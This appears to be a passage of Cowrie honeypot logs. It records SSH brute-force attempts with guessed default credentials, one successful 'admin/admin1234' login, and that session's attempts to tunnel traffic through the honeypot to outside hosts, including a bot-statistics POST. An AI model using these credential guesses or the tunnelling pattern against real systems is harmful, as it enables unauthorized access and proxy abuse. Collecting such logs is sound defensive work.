{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xa4\\xb8\\xb1\\xa2#\\xb6\\xc8r\\x0e\\x8f]:-\\x1d\\xe0\\xf8r\\xd6\\xaf}POXQ\\x1a\\x8ao(\\xc5N+ J6\\x04\\xd4g\\xbb%$=o.\\x06\\xb53\\x89Ao\\xa8\\x07\\xdc\\x98\\xcd\\xbf\\xa2\\xfe\\x8f\\xde\\xf6\\x93/*\\xa3\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd8o\\x14\\xf0t\\x9e}\\x12usO\\xbf%\\x9e\\xf0\\x9f\\xa0\\x1a\\x7fJ\\x83\\xbf\\xdf\\xdax\\x8b\\x1eJfL\\x1a$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03J\\xa4\\xb8\\xb1\\xa2#\\xb6\\xc8r\\x0e\\x8f]:-\\x1d\\xe0\\xf8r\\xd6\\xaf}POXQ\\x1a\\x8ao(\\xc5N+ J6\\x04\\xd4g\\xbb%$=o.\\x06\\xb53\\x89Ao\\xa8\\x07\\xdc\\x98\\xcd\\xbf\\xa2\\xfe\\x8f\\xde\\xf6\\x93/*\\xa3\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd8o\\x14\\xf0t\\x9e}\\x12usO\\xbf%\\x9e\\xf0\\x9f\\xa0\\x1a\\x7fJ\\x83\\xbf\\xdf\\xdax\\x8b\\x1eJfL\\x1a$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.986718Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:53.399161Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25256,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9712dfa3389","protocol":"ssh","message":"New connection: 91.92.40.36:25256 (159.203.135.109:22) [session: f9712dfa3389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:55.137774Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"postgres1234","message":"login attempt [ubuntu/postgres1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:55.521325Z","src_ip":"91.92.40.36","session":"702d93b11154","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:56.644066Z","src_ip":"91.92.40.36","session":"f9712dfa3389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:56.649930Z","src_ip":"91.92.40.36","session":"f9712dfa3389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:58.657623Z","src_ip":"91.92.40.36","session":"702d93b11154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.54221153259277,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:59.503830Z","src_ip":"172.81.62.90","session":"536ffca9ca54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:59.903024Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"touchme","message":"login attempt [admin/touchme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:04.019352Z","src_ip":"91.92.40.36","session":"f9712dfa3389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62582,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e757e51884","protocol":"ssh","message":"New connection: 91.92.40.36:62582 (159.203.135.109:22) [session: 69e757e51884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:04.392005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:05.525042Z","src_ip":"91.92.40.36","session":"69e757e51884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:05.529002Z","src_ip":"91.92.40.36","session":"69e757e51884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:06.200553Z","src_ip":"91.92.40.36","session":"f9712dfa3389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password","message":"login attempt [admin/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:09.914113Z","src_ip":"91.92.40.36","session":"69e757e51884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14892,"dst_ip":"159.203.135.109","dst_port":22,"session":"625bd3869220","protocol":"ssh","message":"New connection: 91.92.40.36:14892 (159.203.135.109:22) [session: 625bd3869220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:11.665996Z"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:12.192354Z","src_ip":"91.92.40.36","session":"69e757e51884","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:13.141039Z","src_ip":"91.92.40.36","session":"625bd3869220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:13.145294Z","src_ip":"91.92.40.36","session":"625bd3869220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ouT3xf","message":"login attempt [admin/ouT3xf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:18.177229Z","src_ip":"91.92.40.36","session":"625bd3869220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22810,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf6e744342b","protocol":"ssh","message":"New connection: 91.92.40.36:22810 (159.203.135.109:22) [session: fcf6e744342b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:18.370587Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61248,"dst_ip":"10.17.0.5","dst_port":22,"session":"7168f8cfb20b","protocol":"ssh","message":"New connection: 123.27.168.40:61248 (10.17.0.5:22) [session: 7168f8cfb20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:18.971531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:18.975849Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:19.357042Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:19.743830Z","src_ip":"91.92.40.36","session":"fcf6e744342b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:19.791149Z","src_ip":"91.92.40.36","session":"fcf6e744342b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:20.591536Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:20.680238Z","src_ip":"91.92.40.36","session":"625bd3869220","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:20.960329Z","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.058134Z","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.359946Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; A577) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X1p2ZlN7KXFpOGVrVHZ7cg%3D%3DGNlCPfb%2BoCF6qFBee%2BDknqMrI9FiSAebjR3NNwBYzVuT4LIHwPyokdVADfp6wJSbwlO6rYD2OoDIEaRLXTyO4mMll23ROy2RzqWPEqP6LHjCbZ3ZnoCTFk3c3ewI2fcL69yZIZj82nqUHgQQglV1%2BKQsBpcr1fYxhXwZXZEMZDldk7l55OWgPC70Y8jNRtzhD3RLlioA3fX2FVlWLBhKMdioTK72rXhk7fN2E0CEW1Q6r5upXeZ0OiEcjgHx%2FT9z98WhrPoUBwYoBq6gMWLAUgHFxqOUex6k%2FiXeca6V2llYIqagZBMpH95YQG4z%2FpiE4R3yyEvE3rtWcQ%2FUf8MWyjW3oJ%2Bm0XneZGkoF%2B4YBwTGA%2BZcJoVbMZcF1kkC5AUdHZ9lh0kJhKZvmMeZUJV4GCiVZahllvASTa5w913MWnM2tbw6c0IarepmcpCgo5kbte12oTskW8prEzpFRqr9oavM%2FD3rW%2Fu2nb%2BF74llbWkHiYeNENv66rbkQXgi8Les58ByuPZpi2FsfvUAIHYExyFFd8YARiV9BC1U%2BseY2Mp5EjVwUwdox1Mwq30Ckmjkd2S%2Fm9mbqs0hgaIks2i%2F3CyzwqI6rSMB%2FsVTobpt5v3EQjNWd1hVmB7PwKJQy0Whr9aHoowD2IQ3yg9SDGERFEVfNKHLbitEGCSQ8LVaniKesDUz0e2dG1%2FY3xlqlqVWipkcScfFfkYQoLY3SvCwKt%2FtzbKtqJwjIRkRrE%2Bs9%2BCXelX9u9%2FYNhtsO0mSpidjqazLeaZZbxcJPxx7enqv7gonlNa0QY5leoBAKcxWEbV24SElrEAvE5FDFM6N%2BGXmy7Jg